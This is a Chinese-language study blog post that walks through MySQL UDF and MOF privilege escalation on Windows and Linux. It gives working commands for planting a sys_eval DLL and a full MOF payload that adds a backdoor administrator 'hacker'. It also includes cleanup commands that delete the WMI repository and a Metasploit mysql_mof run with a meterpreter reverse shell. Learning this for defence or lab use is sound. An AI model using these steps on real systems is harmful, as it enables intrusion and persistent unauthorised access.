前言:
UDF (user defined function),即用戶自定義函數。是通過添加新函數,對MySQL的功能進行擴充,其實就像使用本地MySQL函數如 user() 或 concat() 等。
MOF 就是利用了 c:/windows/system32/wbem/mof/ 目錄下的 nullevt.mof 文件,每分鍾都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行。
系統性學安全半年以來一直知道mysql的udf提權和mof提權也一直想着學會它,拖了這么久現在正式記錄一下學習udf與mof提權的過程和踩過的坑。
UDF提權
動態鏈接庫
首先我們要把一個動態鏈接庫放入mysql的plugin文件夾下才能實現創建自定義函數功能。
那么動態鏈接庫要去哪找,在sqlmap和metasploit中都有。
sqlmap
進入sqlmap的sqlmap-master\data\udf\mysql文件夾下有linux和windows文件夾分別對應着linux版mysql和windows版mysql的udf動態鏈接庫,但是sqlmap的動態鏈接庫為了躲避殺毒軟件進行了加密處理,在sqlmap的sqlmap-master\extra\cloak\文件夾中有cloak.py解密腳本,使用解密腳本進行解密即可使用,這里我是windows系統,解密命令如下:
python .\cloak.py -d -i D:\sqlmap-master\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
解密后的文件就在sqlmap-master\extra\cloak\下
metasploit
在MSF 根目錄/embedded/framework/data/exploits/mysql,Metasploit自帶的動態鏈接庫文件無需解碼。
尋找Mysql插件目錄
這里用SQL語句查詢插件目錄即可
接着要寫入動態鏈接庫,需要注意的是我們的權限得是最高權限且secure_file_priv無限制,plugin目錄無限制,首先用sqlmap寫入
MySQL 5.5 之前 secure_file_priv 默認是空,可以寫文件
MySQL 5.5之后 secure_file_priv 默認是 NULL,不可以寫文件
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
當目標不存在注入但是mysql能外聯且能登錄進去的話我們可以用原生SQL語句寫入dll。
這里我們要用十六進制來寫入,先以十六進制打開dll
將他們復制到mysql語句里面
select 'dll十六進制' into outfile 'mysql插件目錄+生成的文件名'
成功后就可以調用dll進行創建自定義函數了,用如下命令創建自定義函數
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
查看自己創建的自定義函數用下面的命令
select * from mysql.func;
可以看到剛剛創建的函數成功了
有的可能會遇到這種錯誤:ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.dll' (errno: 193 )
,這里其實有個小坑的,我用的是phpstudy的mysql,phpstudy可能因為用的是32位的mysql所以這里要使用32位的動態鏈接庫,還有一個地方要注意的是mysql5.1版本之前的插件目錄默認在根目錄下,5.1之后在lib\目錄下,如果動態鏈接庫沒放對目錄就會出現:Can't find symbol 'sys_eval' in library
錯誤。
接下來我們就可以使用自定義函數來執行系統命令了
select sys_eval('whoami');
刪除自定義函數命令:
drop function sys_eval;
有的時候目標mysql不允許外連,這個時候我可以用Navicat自帶的tunnel隧道腳本上傳到目標網站上,然后再進行連接提權即可
腳本下載地址:Navicat tunnel
使用教程:https://www.sqlsec.com/2020/11/mysql.html#toc-heading-18
MOF提權
mof指的是托管對象格式,是一種文件類型,它(nullevt.mof)在 C:\WINDOWS\system32\wbem\mof\ 路徑下,將會每隔一段時間以system權限執行一次,我們可以通過root權限下的mysql將該文件寫入到路徑下,以達到提權的效果。
執行MOF命令
MOF腳本內容:
\#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
利用mysql寫文件覆蓋特性將代碼寫到C:/Windows/system32/wbem/mof/目錄下,用十六進制導入即可,命令如下
select 'mof文件十六進制內容' into dumpfile "C:/windows/system32/wbem/mof/MOF文件名.mof"
執行成功寫入mof文件才會出現在:c:/windows/system32/wbem/goog/目錄下,否則出現在c:/windows/system32/wbem/bad目錄下。
接下來因為每隔幾分鍾就會執行一次所以我們上傳成功執行后需要把它刪除,想要刪除必須要關閉winmgmt服務再刪除剛剛上傳的mof文件,命令如下
\#停止winmgmt服務
net stop winmgmt
\# 刪除Repository文件夾
rmdir /s /q C:\Windows\system32\wbem\Repository\
\# 刪除mof文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
\# 刪除創建的用戶
net user hacker /delete
\# 重新啟動服務
net start winmgmt
利用MSF進行MOF提權
MSF也有MOF提權,比較方便的是他會自動刪除上傳的mof文件,命令如下
use exploit/windows/mysql/mysql_mof
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.111.135
set username root
set password root
run
還有一些mysql提權小技巧這里就不多說了,可以去看看這篇文章,本文有很多地方也是借鑒國光大佬的文章的